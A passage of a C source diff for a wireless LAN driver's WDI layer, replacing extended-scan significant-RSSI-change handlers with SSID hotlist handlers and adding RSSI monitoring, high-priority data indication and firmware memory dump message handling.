(tpHalSsidHotlistSetReq) (pSendBuffer + usDataOffset); - pHalSigRssiSetReqParams = - (tpHalSigRssiSetReq) (pSendBuffer + usDataOffset); + pHalSsidHotlistSetReqParams->requestId = + pwdiEXTScanSetSSIDHotlistReqParams->requestId; - pHalSigRssiSetReqParams->requestId = - pwdiEXTScanSetSignfRSSIChangeReqParams->requestId; - pHalSigRssiSetReqParams->sessionId = - pwdiEXTScanSetSignfRSSIChangeReqParams->sessionId; - pHalSigRssiSetReqParams->rssiSampleSize = - pwdiEXTScanSetSignfRSSIChangeReqParams->rssiSampleSize; - pHalSigRssiSetReqParams->lostApSampleSize = - pwdiEXTScanSetSignfRSSIChangeReqParams->lostApSampleSize; - pHalSigRssiSetReqParams->minBreaching = - pwdiEXTScanSetSignfRSSIChangeReqParams->minBreaching; - pHalSigRssiSetReqParams->numAp = - pwdiEXTScanSetSignfRSSIChangeReqParams->numAp; + pHalSsidHotlistSetReqParams->sessionId = + pwdiEXTScanSetSSIDHotlistReqParams->sessionId; + pHalSsidHotlistSetReqParams->lostSsidSampleSize = + pwdiEXTScanSetSSIDHotlistReqParams->lostSsidSampleSize;; - for( i = 0; i < WLAN_HAL_EXT_SCAN_MAX_SIG_CHANGE_APS; i++){ + pHalSsidHotlistSetReqParams->numSsid = + pwdiEXTScanSetSSIDHotlistReqParams->numSsid; - wpalMemoryCopy(pHalSigRssiSetReqParams->ap[i].bssid, - pwdiEXTScanSetSignfRSSIChangeReqParams->ap[i].bssid, - WDI_MAC_ADDR_LEN); + for( i = 0; i < pHalSsidHotlistSetReqParams->numSsid; i++){ - pHalSigRssiSetReqParams->ap[i].lowRssiThreshold = - pwdiEXTScanSetSignfRSSIChangeReqParams->ap[i].low; + wpalMemoryZero(pHalSsidHotlistSetReqParams->ssid[i].ssid, 33); + wpalMemoryCopy(pHalSsidHotlistSetReqParams->ssid[i].ssid, + pwdiEXTScanSetSSIDHotlistReqParams->ssid[i].ssid.sSSID, + pwdiEXTScanSetSSIDHotlistReqParams->ssid[i].ssid.ucLength); - pHalSigRssiSetReqParams->ap[i].highRssiThreshold = - pwdiEXTScanSetSignfRSSIChangeReqParams->ap[i].high; + pHalSsidHotlistSetReqParams->ssid[i].lowRssiThreshold = + pwdiEXTScanSetSSIDHotlistReqParams->ssid[i].lowRssiThreshold; - pHalSigRssiSetReqParams->ap[i].channel = - pwdiEXTScanSetSignfRSSIChangeReqParams->ap[i].channel; + pHalSsidHotlistSetReqParams->ssid[i].highRssiThreshold = + pwdiEXTScanSetSSIDHotlistReqParams->ssid[i].highRssiThreshold; + pHalSsidHotlistSetReqParams->ssid[i].band = + pwdiEXTScanSetSSIDHotlistReqParams->ssid[i].band; } - VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, - "ReqID %u sessionId %u rssiSampleSize %u lostApSampleSize %u " - " minBreaching %u numAp %u ", - pHalSigRssiSetReqParams->requestId, - pHalSigRssiSetReqParams->sessionId, - pHalSigRssiSetReqParams->rssiSampleSize, - pHalSigRssiSetReqParams->lostApSampleSize, - pHalSigRssiSetReqParams->minBreaching, - pHalSigRssiSetReqParams->numAp); + "ReqID %u sessionId %u numSsid %u lost_ssid_sample_size: %u", + pHalSsidHotlistSetReqParams->requestId, + pHalSsidHotlistSetReqParams->sessionId, + pHalSsidHotlistSetReqParams->numSsid, + pHalSsidHotlistSetReqParams->lostSsidSampleSize); - for( i = 0; i < pHalSigRssiSetReqParams->numAp; i++){ + for( i = 0; i < pHalSsidHotlistSetReqParams->numSsid; i++){ VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, - "%d) BSSID: %pM lowRssiThreshold %d highRssiThreshold %d Channel %u ", - i, - pHalSigRssiSetReqParams->ap[i].bssid, - pHalSigRssiSetReqParams->ap[i].lowRssiThreshold, - pHalSigRssiSetReqParams->ap[i].highRssiThreshold, - pHalSigRssiSetReqParams->ap[i].channel); - + "%s %d %d) SSID = %s lowRssiThreshold %d highRssiThreshold %d band: %d", + __func__, __LINE__, i, + pHalSsidHotlistSetReqParams->ssid[i].ssid, + pHalSsidHotlistSetReqParams->ssid[i].lowRssiThreshold, + pHalSsidHotlistSetReqParams->ssid[i].highRssiThreshold, + pHalSsidHotlistSetReqParams->ssid[i].band); } pWDICtx->pReqStatusUserData = pEventData->pUserData; @@ -33719,32 +35191,30 @@ WDI_ProcessEXTScanSetSignifRSSIChangeReq Send EXTScan Stop Request to HAL -------------------------------------------------------------------------*/ return WDI_SendMsg( pWDICtx, pSendBuffer, usSendSize, - wdiEXTScanSetSignfRSSIChangeRspCb, pEventData->pUserData, - WDI_EXTSCAN_SET_SIGNF_RSSI_CHANGE_RSP); + wdiEXTScanSetSSIDHotlistRspCb, pEventData->pUserData, + WDI_EXTSCAN_SET_HOTLIST_SSID_RSP); } /** - @brief WDI_EXTScanResetSignfRSSIChangeReq + @brief WDI_EXTScanResetSSIDHotlistReq - @param WDI_EXTScanResetSignfRSSIChangeReqParams: Req parameter for the FW - WDI_EXTScanResetSignfRSSIChangeRspCb: callback for passing back the response + @param WDI_EXTScanResetSSIDHotlistReqParams: Req parameter for the FW + WDI_EXTScanResetSSIDHotlistRspCb: callback for passing back the response of the Req operation received from the device pUserData: user data will be passed back with the callback @return SUCCESS or FAIL */ WDI_Status -WDI_EXTScanResetSignfRSSIChangeReq( - WDI_EXTScanResetSignfRSSIChangeReqParams* - pwdiEXTScanResetSignfRSSIChangeReqParams, - WDI_EXTScanResetSignfRSSIChangeRspCb - wdiEXTScanResetSignfRSSIChangeRspCb, - void* pUserData) +WDI_EXTScanResetSSIDHotlistReq( + WDI_EXTScanResetSSIDHotlistReqParams* pwdiEXTScanResetSSIDHotlistReqParams, + WDI_EXTScanResetSSIDHotlistRspCb wdiEXTScanResetSSIDHotlistRspCb, + void* pUserData) { WDI_EventInfoType wdiEventData; VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, - "%s: %d ",__func__, __LINE__); + "%s: %d",__func__, __LINE__); /*------------------------------------------------------------------------ Sanity Check ------------------------------------------------------------------------*/ @@ -33756,19 +35226,18 @@ WDI_EXTScanResetSignfRSSIChangeReq( return WDI_STATUS_E_NOT_ALLOWED; } - wdiEventData.wdiRequest = WDI_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ; - wdiEventData.pEventData = pwdiEXTScanResetSignfRSSIChangeReqParams; - wdiEventData.uEventDataSize = - sizeof(*pwdiEXTScanResetSignfRSSIChangeReqParams); - wdiEventData.pCBfnc = wdiEXTScanResetSignfRSSIChangeRspCb; + wdiEventData.wdiRequest = WDI_EXTSCAN_RESET_SSID_HOTLIST_REQ; + wdiEventData.pEventData = pwdiEXTScanResetSSIDHotlistReqParams; + wdiEventData.uEventDataSize = sizeof(*pwdiEXTScanResetSSIDHotlistReqParams); + wdiEventData.pCBfnc = wdiEXTScanResetSSIDHotlistRspCb; wdiEventData.pUserData = pUserData; return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); } /** - @brief WDI_ProcessEXTScanResetSignfRSSIChangeReq - - Extended Scana reset Significant RSSI change Request to FW + @brief WDI_ProcessEXTScanResetSSIDHotlistReq - + Extended Scan reset SSID hotlist Request to FW @param pWDICtx : wdi context pEventData : indication data @@ -33777,22 +35246,21 @@ WDI_EXTScanResetSignfRSSIChangeReq( @return none */ WDI_Status -WDI_ProcessEXTScanResetSignfRSSIChangeReq +WDI_ProcessEXTScanResetSSIDHotlistReq ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ) { - WDI_EXTScanResetSignfRSSIChangeReqParams* - pwdiEXTScanResetSignfRSSIChangeReqParams; - WDI_EXTScanResetSignfRSSIChangeRspCb wdiEXTScanResetSignfRSSIChangeRspCb; + WDI_EXTScanResetSSIDHotlistReqParams* pwdiEXTScanResetSSIDHotlistReqParams; + WDI_EXTScanResetSSIDHotlistRspCb wdiEXTScanResetSSIDHotlistRspCb; wpt_uint8* pSendBuffer = NULL; wpt_uint16 usSendSize = 0; wpt_uint16 usDataOffset = 0; - tpHalSigRssiResetReq pHalSigRssiResetReqParams; + tpHalSsidHotlistResetReq pHalSsidHotlistResetReqParams; VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, - "%s: %d ",__func__, __LINE__); + "%s: %d",__func__, __LINE__); if (( NULL == pEventData ) || ( NULL == pEventData->pEventData ) || ( NULL == pEventData->pCBfnc )) @@ -33803,43 +35271,154 @@ WDI_ProcessEXTScanResetSignfRSSIChangeReq return WDI_STATUS_E_FAILURE; } - pwdiEXTScanResetSignfRSSIChangeReqParams = - (WDI_EXTScanResetSignfRSSIChangeReqParams *)pEventData->pEventData; - wdiEXTScanResetSignfRSSIChangeRspCb = - (WDI_EXTScanResetSignfRSSIChangeRspCb)pEventData->pCBfnc; + pwdiEXTScanResetSSIDHotlistReqParams = + (WDI_EXTScanResetSSIDHotlistReqParams *)pEventData->pEventData; + wdiEXTScanResetSSIDHotlistRspCb = + (WDI_EXTScanResetSSIDHotlistRspCb)pEventData->pCBfnc; /*----------------------------------------------------------------------- Get message buffer ! TO DO : proper conversion into the HAL Message Request Format -----------------------------------------------------------------------*/ if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( - pWDICtx, - WDI_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ, - sizeof(tHalSigRssiResetReq), - &pSendBuffer, &usDataOffset, - &usSendSize))|| - ( usSendSize < (usDataOffset + sizeof(tHalSigRssiResetReq) ))) + pWDICtx, + WDI_EXTSCAN_RESET_SSID_HOTLIST_REQ, + sizeof(tHalSsidHotlistResetReq), + &pSendBuffer, &usDataOffset, + &usSendSize))|| + ( usSendSize < (usDataOffset + sizeof(tHalSsidHotlistResetReq) ))) { WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, "Unable to get send buffer in %s %p %p %p", __func__, - pEventData, pwdiEXTScanResetSignfRSSIChangeReqParams, - wdiEXTScanResetSignfRSSIChangeRspCb); + pEventData, pwdiEXTScanResetSSIDHotlistReqParams, + wdiEXTScanResetSSIDHotlistRspCb); WDI_ASSERT(0); return WDI_STATUS_E_FAILURE; } - pHalSigRssiResetReqParams = - (tpHalSigRssiResetReq) (pSendBuffer+usDataOffset); + pHalSsidHotlistResetReqParams = + (tpHalSsidHotlistResetReq) (pSendBuffer+usDataOffset); - pHalSigRssiResetReqParams->requestId = - pwdiEXTScanResetSignfRSSIChangeReqParams->requestId; + pHalSsidHotlistResetReqParams->requestId = + pwdiEXTScanResetSSIDHotlistReqParams->requestId; pWDICtx->pReqStatusUserData = pEventData->pUserData; - + /*------------------------------------------------------------------------- + Send RESET_HOTLIST_SSID Request to HAL + -------------------------------------------------------------------------*/ return WDI_SendMsg( pWDICtx, pSendBuffer, usSendSize, - wdiEXTScanResetSignfRSSIChangeRspCb, - pEventData->pUserData, - WDI_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_RSP); + wdiEXTScanResetSSIDHotlistRspCb, pEventData->pUserData, + WDI_EXTSCAN_RESET_HOTLIST_SSID_RSP); +} + + +/** + @brief WDI_HighPriorityDataInfoInd + + @param pHighPriorityDataInfoIndParams: Req parameter for the FW + + @return SUCCESS or FAIL +*/ +WDI_Status +WDI_HighPriorityDataInfoInd +( + WDI_HighPriorityDataInfoIndParams* pHighPriorityDataInfoIndParams +) +{ + WDI_EventInfoType wdiEventData; + + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: %d",__func__, __LINE__); + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + + return WDI_STATUS_E_NOT_ALLOWED; + } + + wdiEventData.wdiRequest = WDI_HIGH_PRIORITY_DATA_INFO_IND; + wdiEventData.pEventData = pHighPriorityDataInfoIndParams; + wdiEventData.uEventDataSize = sizeof(*pHighPriorityDataInfoIndParams); + wdiEventData.pCBfnc = NULL; + wdiEventData.pUserData = NULL; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} + +/** + @brief WDI_ProcessHighPriorityDataInfoInd - + Send WFD indication to FW + + @param pWDICtx : wdi context + pEventData : indication data + + @see + @return none +*/ +WDI_Status +WDI_ProcessHighPriorityDataInfoInd +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_HighPriorityDataInfoIndParams* pHighPriorityDataInfoIndParams; + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usSendSize = 0; + wpt_uint16 usDataOffset = 0; + tpHalHighPriorityDataInfoInd pHalHighPriorityDataInfoIndParams; + WDI_Status wdiStatus = WDI_STATUS_SUCCESS; + + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: %d",__func__, __LINE__); + + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + pHighPriorityDataInfoIndParams = + (WDI_HighPriorityDataInfoIndParams *)pEventData->pEventData; + + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( + pWDICtx, + WDI_HIGH_PRIORITY_DATA_INFO_IND, + sizeof(tHalHighPriorityDataInfoInd), + &pSendBuffer, &usDataOffset, + &usSendSize))|| + ( usSendSize < (usDataOffset + sizeof(tHalHighPriorityDataInfoInd) ))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "Unable to get send buffer in %s %p %p", __func__, + pEventData, pHighPriorityDataInfoIndParams); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + pHalHighPriorityDataInfoIndParams = + (tpHalHighPriorityDataInfoInd) (pSendBuffer+usDataOffset); + + pHalHighPriorityDataInfoIndParams->pause = + pHighPriorityDataInfoIndParams->pause; + + pWDICtx->pReqStatusUserData = NULL; + pWDICtx->pfncRspCB = NULL; + + /*------------------------------------------------------------------------- + Send HIGH_PRIORITY_DATA_INFO Request to HAL + -------------------------------------------------------------------------*/ + wdiStatus = WDI_SendIndication( pWDICtx, pSendBuffer, usSendSize); + return (wdiStatus != WDI_STATUS_SUCCESS) ? wdiStatus:WDI_STATUS_SUCCESS_SYNC; } /** @@ -34143,8 +35722,8 @@ WDI_ProcessEXTScanResetHotlistBSSIDRsp } /** - @brief Process Extended Scan Set Significant RSSI Change Rsp function (called - when a response is being received over the bus from HAL) + @brief Process Extended Scan Set hotlist SSID Rsp function (called when a + response is being received over the bus from HAL) @param pWDICtx: pointer to the WLAN DAL context pEventData: pointer to the event information structure @@ -34153,16 +35732,16 @@ WDI_ProcessEXTScanResetHotlistBSSIDRsp @return Result of the function call */ WDI_Status -WDI_ProcessEXTScanSetSignfRSSIChangeRsp +WDI_ProcessEXTScanSetHotlistSSIDRsp ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ) { - WDI_EXTScanSetSignfRSSIChangeRspCb wdiEXTScanSetSignfRSSIChangeRspCb; + WDI_EXTScanSetSSIDHotlistRspCb wdiEXTScanSetSSIDHotlistRspCb; VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, - "%s: %d",__func__, __LINE__); + "%s: %d ",__func__, __LINE__); /*------------------------------------------------------------------------- @@ -34177,9 +35756,9 @@ WDI_ProcessEXTScanSetSignfRSSIChangeRsp return WDI_STATUS_E_FAILURE; } - wdiEXTScanSetSignfRSSIChangeRspCb = - (WDI_EXTScanSetSignfRSSIChangeRspCb)pWDICtx->pfncRspCB; - if ( NULL == wdiEXTScanSetSignfRSSIChangeRspCb) + wdiEXTScanSetSSIDHotlistRspCb = + (WDI_EXTScanSetSSIDHotlistRspCb)pWDICtx->pfncRspCB; + if ( NULL == wdiEXTScanSetSSIDHotlistRspCb) { WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, "%s: Callback function Invalid", __func__); @@ -34187,15 +35766,16 @@ WDI_ProcessEXTScanSetSignfRSSIChangeRsp return WDI_STATUS_E_FAILURE; } - wdiEXTScanSetSignfRSSIChangeRspCb( + wdiEXTScanSetSSIDHotlistRspCb( (void *) pEventData->pEventData, pWDICtx->pRspCBUserData); return WDI_STATUS_SUCCESS; } + /** - @brief Process Extended Scan Reset Significant RSSI Change Rsp function - (called when a response is being received over the bus from HAL) + @brief Process Extended Scan Reset Hotlist BSSID Rsp function (called + when a response is being received over the bus from HAL) @param pWDICtx: pointer to the WLAN DAL context pEventData: pointer to the event information structure @@ -34204,16 +35784,16 @@ WDI_ProcessEXTScanSetSignfRSSIChangeRsp @return Result of the function call */ WDI_Status -WDI_ProcessEXTScanResetSignfRSSIChangeRsp +WDI_ProcessEXTScanResetHotlistSSIDRsp ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ) { - WDI_EXTScanResetSignfRSSIChangeRspCb wdiEXTScanResetSignfRSSIChangeRspCb; + WDI_EXTScanResetSSIDHotlistRspCb wdiEXTScanResetSSIDHotlistRspCb; VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, - "%s: %d Enter",__func__, __LINE__); + "%s: %d ",__func__, __LINE__); /*------------------------------------------------------------------------- @@ -34228,9 +35808,9 @@ WDI_ProcessEXTScanResetSignfRSSIChangeRsp return WDI_STATUS_E_FAILURE; } - wdiEXTScanResetSignfRSSIChangeRspCb = - (WDI_EXTScanResetSignfRSSIChangeRspCb)pWDICtx->pfncRspCB; - if ( NULL == wdiEXTScanResetSignfRSSIChangeRspCb) + wdiEXTScanResetSSIDHotlistRspCb = + (WDI_EXTScanResetSSIDHotlistRspCb)pWDICtx->pfncRspCB; + if ( NULL == wdiEXTScanResetSSIDHotlistRspCb) { WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, "%s: Callback function Invalid", __func__); @@ -34238,7 +35818,7 @@ WDI_ProcessEXTScanResetSignfRSSIChangeRsp return WDI_STATUS_E_FAILURE; } - wdiEXTScanResetSignfRSSIChangeRspCb( + wdiEXTScanResetSSIDHotlistRspCb( (void *) pEventData->pEventData, pWDICtx->pRspCBUserData); return WDI_STATUS_SUCCESS; @@ -34465,6 +36045,273 @@ WDI_ProcessGetFrameLogRsp return WDI_STATUS_SUCCESS; } + +/** + @brief Process RssiMonitorStartReq Request + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessRssiMonitorStartReq +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_RssiMonitorReqInfoType* wdiRssiMonitorStartReq; + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usDataOffset = 0; + wpt_uint16 usSendSize = 0; + WDI_Status wdiStatus; + tHalStartRssimonitoringReq halStartRssiMonitorReq; + WDI_RssiMonitorStartRspCb wdiRssiMonitorStartReqCb; + + + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: %d Enter",__func__, __LINE__); + + /*------------------------------------------------------------------------- + Sanity check + ------------------------------------------------------------------------*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + wdiRssiMonitorStartReq = (WDI_RssiMonitorReqInfoType *)pEventData->pEventData; + + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, + WDI_START_RSSI_MONITOR_REQ, + sizeof(halStartRssiMonitorReq.startRssiMonitoringReqParams), + &pSendBuffer, &usDataOffset, &usSendSize))|| + (usSendSize < (usDataOffset + + sizeof(halStartRssiMonitorReq.startRssiMonitoringReqParams)))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in GetFrameLog Req"); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + halStartRssiMonitorReq.startRssiMonitoringReqParams.request_id = + wdiRssiMonitorStartReq->requestId; + + halStartRssiMonitorReq.startRssiMonitoringReqParams.min_rssi = + wdiRssiMonitorStartReq->minRssi; + + halStartRssiMonitorReq.startRssiMonitoringReqParams.max_rssi = + wdiRssiMonitorStartReq->maxRssi; + wpalMemoryCopy(halStartRssiMonitorReq.startRssiMonitoringReqParams.bssId, + &(wdiRssiMonitorStartReq->currentBssId), + sizeof(halStartRssiMonitorReq.startRssiMonitoringReqParams.bssId)); + + wdiRssiMonitorStartReqCb = (WDI_RssiMonitorStartRspCb)pEventData->pCBfnc; + + wpalMemoryCopy(pSendBuffer+usDataOffset, + &halStartRssiMonitorReq.startRssiMonitoringReqParams, + sizeof(halStartRssiMonitorReq.startRssiMonitoringReqParams)); + + /*------------------------------------------------------------------------- + Send Suspend Request to HAL + ------------------------------------------------------------------------*/ + wdiStatus = WDI_SendMsg( pWDICtx, pSendBuffer, usSendSize, + wdiRssiMonitorStartReqCb, pEventData->pUserData, WDI_START_RSSI_MONITOR_RSP); + + return wdiStatus; +} + + +/** + @brief Process FWLoggingInit Request + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessRssiMonitorStopReq +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_RssiMonitorReqInfoType* wdiRssiMonitorStopReq; + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usDataOffset = 0; + wpt_uint16 usSendSize = 0; + WDI_Status wdiStatus; + tHalStopRssimonitoringReq halStopRssiMonitorReq; + WDI_RssiMonitorStopRspCb wdiRssiMonitorStopReqCb; + + + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: %d Enter",__func__, __LINE__); + + /*------------------------------------------------------------------------- + Sanity check + ------------------------------------------------------------------------*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + wdiRssiMonitorStopReq = (WDI_RssiMonitorReqInfoType *)pEventData->pEventData; + + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, + WDI_STOP_RSSI_MONITOR_REQ, + sizeof(halStopRssiMonitorReq.stopRssiMonitoringParams), + &pSendBuffer, &usDataOffset, &usSendSize))|| + (usSendSize < (usDataOffset + + sizeof(halStopRssiMonitorReq.stopRssiMonitoringParams)))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in GetFrameLog Req"); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + halStopRssiMonitorReq.stopRssiMonitoringParams.request_id = + wdiRssiMonitorStopReq->requestId; + + wpalMemoryCopy(halStopRssiMonitorReq.stopRssiMonitoringParams.bssId, + &(wdiRssiMonitorStopReq->currentBssId), + sizeof(halStopRssiMonitorReq.stopRssiMonitoringParams.bssId)); + + wdiRssiMonitorStopReqCb = (WDI_RssiMonitorStopRspCb)pEventData->pCBfnc; + + wpalMemoryCopy(pSendBuffer+usDataOffset, + &halStopRssiMonitorReq.stopRssiMonitoringParams, + sizeof(halStopRssiMonitorReq.stopRssiMonitoringParams)); + + /*------------------------------------------------------------------------- + Send Suspend Request to HAL + ------------------------------------------------------------------------*/ + wdiStatus = WDI_SendMsg( pWDICtx, pSendBuffer, usSendSize, + wdiRssiMonitorStopReqCb, pEventData->pUserData, WDI_STOP_RSSI_MONITOR_RSP); + + return wdiStatus; +} + +/** + @brief Process MgmtFrame Logging Init Rsp function + (called when a response is being received over the bus from HAL) + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessRssiMonitorStopRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + tHalStopRssimonitoringRspParams halRsp; + WDI_RssiMonitorStopRspCb wdiRssiMonitorStopRspCb; + WDI_RssiMonitorStopRspParamType wdiRssiMonitorStopRsp; + + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: %d Enter",__func__, __LINE__); + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + wdiRssiMonitorStopRspCb = (WDI_RssiMonitorStopRspCb)pWDICtx->pfncRspCB; + + /*------------------------------------------------------------------------- + Extract response and send it to UMAC + -------------------------------------------------------------------------*/ + wpalMemoryCopy( &halRsp, pEventData->pEventData, sizeof(halRsp)); + + wdiRssiMonitorStopRsp.status = WDI_HAL_2_WDI_STATUS(halRsp.status); + + /*Notify UMAC*/ + wdiRssiMonitorStopRspCb( &wdiRssiMonitorStopRsp, pWDICtx->pRspCBUserData); + + return WDI_STATUS_SUCCESS; +} + + +/** + @brief Process MgmtFrame Logging Init Rsp function + (called when a response is being received over the bus from HAL) + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessRssiMonitorStartRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + tHalStartRssimonitoringRspParams halRsp; + WDI_RssiMonitorStartRspCb wdiRssiMonitorStartRspCb; + WDI_RssiMonitorStartRspParamType wdiRssiMonitorStartRsp; + + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: %d Enter",__func__, __LINE__); + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + wdiRssiMonitorStartRspCb = (WDI_RssiMonitorStopRspCb)pWDICtx->pfncRspCB; + + /*------------------------------------------------------------------------- + Extract response and send it to UMAC + -------------------------------------------------------------------------*/ + wpalMemoryCopy( &halRsp, pEventData->pEventData, sizeof(halRsp)); + + wdiRssiMonitorStartRsp.status = WDI_HAL_2_WDI_STATUS(halRsp.status); + + /*Notify UMAC*/ + wdiRssiMonitorStartRspCb( &wdiRssiMonitorStartRsp, pWDICtx->pRspCBUserData); + + return WDI_STATUS_SUCCESS; +} + /** @brief Process FWLoggingInit Request @@ -34583,6 +36430,7 @@ WDI_ProcessFWFrameLoggingInitRsp wpalMemoryCopy( &halRsp, pEventData->pEventData, sizeof(halRsp)); wdiFWLogginginitRsp.status = WDI_HAL_2_WDI_STATUS(halRsp.status); + wdiFWLogginginitRsp.fw_mem_dump_max_size = halRsp.fw_dump_max_size; /*Notify UMAC*/ wdiFWFrameLoggingInitRspCb( &wdiFWLogginginitRsp, pWDICtx->pRspCBUserData); @@ -34590,6 +36438,57 @@ WDI_ProcessFWFrameLoggingInitRsp return WDI_STATUS_SUCCESS; } +/** + @brief Process Fwr Mem Dump Rsp function + (called when a response is being received over the bus from HAL) + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status + WDI_ProcessFwrMemDumpRsp + +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + tHalFwMemoryDumpRespMsg halRsp; + WDI_FwrMemDumpRspCb wdiFwrMemDumpRspCb; + WDI_FwrMemDumpRsp wdiFwrMemDumpRsp; + + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: %d Enter",__func__, __LINE__); + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + wdiFwrMemDumpRspCb = (WDI_FwrMemDumpRspCb)pWDICtx->pfncRspCB; + + /*------------------------------------------------------------------------- + Extract response and send it to UMAC + -------------------------------------------------------------------------*/ + wpalMemoryCopy( &halRsp.tFwMemoryDumpResp, 